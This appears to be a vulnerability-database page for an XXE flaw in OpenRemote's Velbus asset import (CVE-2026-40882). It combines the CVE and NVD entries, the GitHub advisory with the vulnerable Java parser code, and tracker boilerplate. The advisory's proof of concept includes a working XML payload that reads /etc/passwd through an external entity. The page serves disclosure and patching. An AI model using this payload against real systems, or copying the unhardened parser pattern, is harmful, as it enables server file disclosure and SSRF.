CVE-2026-40882 (GCVE-0-2026-40882)
Vulnerability from cvelistv5 – Published: 2026-04-22 20:33 – Updated: 2026-04-23 13:47
VLAI
EPSS
VEX
Title
OpenRemote has XXE in Velbus Asset Import
Summary
OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.0, the Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. Version 1.22.0 fixes the issue.
Severity
7.6 (High)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-04-23 13:46 UTC
CWE
- CWE-611 - Improper Restriction of XML External Entity Reference
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/openremote/openremote/security… | x_refsource_CONFIRM |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| openremote | openremote |
Affected:
< 1.22.0
|
guessed |
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FKIE_CVE-2026-40882
Vulnerability from fkie_nvd - Published: 2026-04-22 21:17 - Updated: 2026-06-17 10:45
Severity
Summary
OpenRemote is an open-source internet-of-things platform. Prior to version 1.22.0, the Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters. Version 1.22.0 fixes the issue.
References
| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc | Exploit, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc | Exploit, Vendor Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| openremote | openremote | * |
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GHSA-G24F-MGC3-JWWC
Vulnerability from github – Published: 2026-04-15 19:42 – Updated: 2026-04-27 16:22
VLAI
Summary
OpenRemote has XXE in Velbus Asset Import
Details
Summary
The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Details
Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.
```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java @Override public Future startAssetImport(byte[] fileData, Consumer assetConsumer) {
return executorService.submit(() -> {
Document xmlDoc;
try {
String xmlStr = new String(fileData, StandardCharsets.UTF_8);
LOG.info("Parsing VELBUS project file");
xmlDoc = DocumentBuilderFactory
.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader(xmlStr)));
Expanded `Caption` content is propagated into created asset names:
```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java
String name = module.getElementsByTagName("Caption").item(0).getTextContent();
name = isNullOrEmpty(name) ? deviceType.toString() : name;
// TODO: Use device specific asset types
Asset<?> device = new ThingAsset(name);
PoC
- Log in to a realm with a user that can call Velbus asset import.
- Create/select a Velbus TCP Agent in that same realm.
- Send
POST /api/{realm}/agent/assetImport/{agentId}with a Velbus project XML payload and compare behavior against a baseline import file. - Save the below code as a
xxe.xmland upload toSetupunderhttps://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage thefile:///etc/passwdto another file if yourpasswdis longer than 1023 characters.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
<Module type="VMB1RY" address="01" build="00" serial="LAB">
<Caption>&xxe;</Caption>
</Module>
</Project>
As long as the file content is under 1023 characters, the exploit will succeed.
If the file content reaches the limit, an error is thrown.
Impact
- Type: XML External Entity (XXE)
- Affected: Deployments exposing Velbus import to authenticated users with import access
- Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.
Severity
7.6 (High)
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},
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
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],
"database_specific": {
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"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-15T19:42:23Z",
"nvd_published_at": "2026-04-22T21:17:08Z",
"severity": "HIGH"
},
"details": "### Summary\nThe Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.\n\n### Details\nVelbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities.\n\n```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n @Override\n public Future\u003cVoid\u003e startAssetImport(byte[] fileData, Consumer\u003cAssetTreeNode[]\u003e assetConsumer) {\n\n return executorService.submit(() -\u003e {\n Document xmlDoc;\n try {\n String xmlStr = new String(fileData, StandardCharsets.UTF_8);\n LOG.info(\"Parsing VELBUS project file\");\n\n xmlDoc = DocumentBuilderFactory\n .newInstance()\n .newDocumentBuilder()\n .parse(new InputSource(new StringReader(xmlStr)));\n```\n\nExpanded `Caption` content is propagated into created asset names:\n\n```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n String name = module.getElementsByTagName(\"Caption\").item(0).getTextContent();\n name = isNullOrEmpty(name) ? deviceType.toString() : name;\n\n // TODO: Use device specific asset types\n Asset\u003c?\u003e device = new ThingAsset(name);\n```\n\n### PoC\n1. Log in to a realm with a user that can call Velbus asset import.\n2. Create/select a Velbus TCP Agent in that same realm.\n3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file.\n3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=\u003cYOUR_REALM\u003e#/assets/false/\u003cASSET_ID\u003e`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters.\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE velbus [\n \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\"\u003e\n]\u003e\n\u003cProject\u003e\n \u003cModule type=\"VMB1RY\" address=\"01\" build=\"00\" serial=\"LAB\"\u003e\n \u003cCaption\u003e\u0026xxe;\u003c/Caption\u003e\n \u003c/Module\u003e\n\u003c/Project\u003e\n```\n\nAs long as the file content is under 1023 characters, the exploit will succeed.\n\u003cimg width=\"1200\" height=\"662\" alt=\"image\" src=\"https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b\" /\u003e\n\nIf the file content reaches the limit, an error is thrown.\n\u003cimg width=\"1200\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429\" /\u003e\n\n\n### Impact\n- **Type:** XML External Entity (XXE)\n- **Affected:** Deployments exposing Velbus import to authenticated users with import access\n- **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.",
"id": "GHSA-g24f-mgc3-jwwc",
"modified": "2026-04-27T16:22:53Z",
"published": "2026-04-15T19:42:23Z",
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}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has XXE in Velbus Asset Import"
}
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Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.